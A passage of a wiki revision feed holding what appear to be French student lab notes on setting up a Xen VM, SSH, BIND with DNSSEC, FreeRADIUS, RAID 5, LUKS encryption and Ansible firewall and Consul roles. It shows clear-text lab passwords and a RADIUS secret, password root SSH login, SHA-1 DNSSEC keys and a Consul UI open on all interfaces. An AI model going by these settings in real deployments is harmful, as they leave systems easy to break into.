  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT tcp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_tcp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT udp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: udp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_udp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Set the policy for the INPUT chain to DROP&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     policy: DROP&lt;br /&gt;
&lt;br /&gt;
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la &amp;lt;code&amp;gt;POLICY&amp;lt;/code&amp;gt; à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)&lt;br /&gt;
&lt;br /&gt;
Nos ports sont variabilisés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/defaults/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_tcp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8500&lt;br /&gt;
   - 8501&lt;br /&gt;
   - 8502&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 8300 &lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_udp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
&lt;br /&gt;
voilà&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com {{ ansible_distribution_release }} main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: config.json&lt;br /&gt;
     dest: /etc/consul/server.json&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 1,&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57976</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57976"/>
				<updated>2022-01-12T12:04:52Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* ASR lab project */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
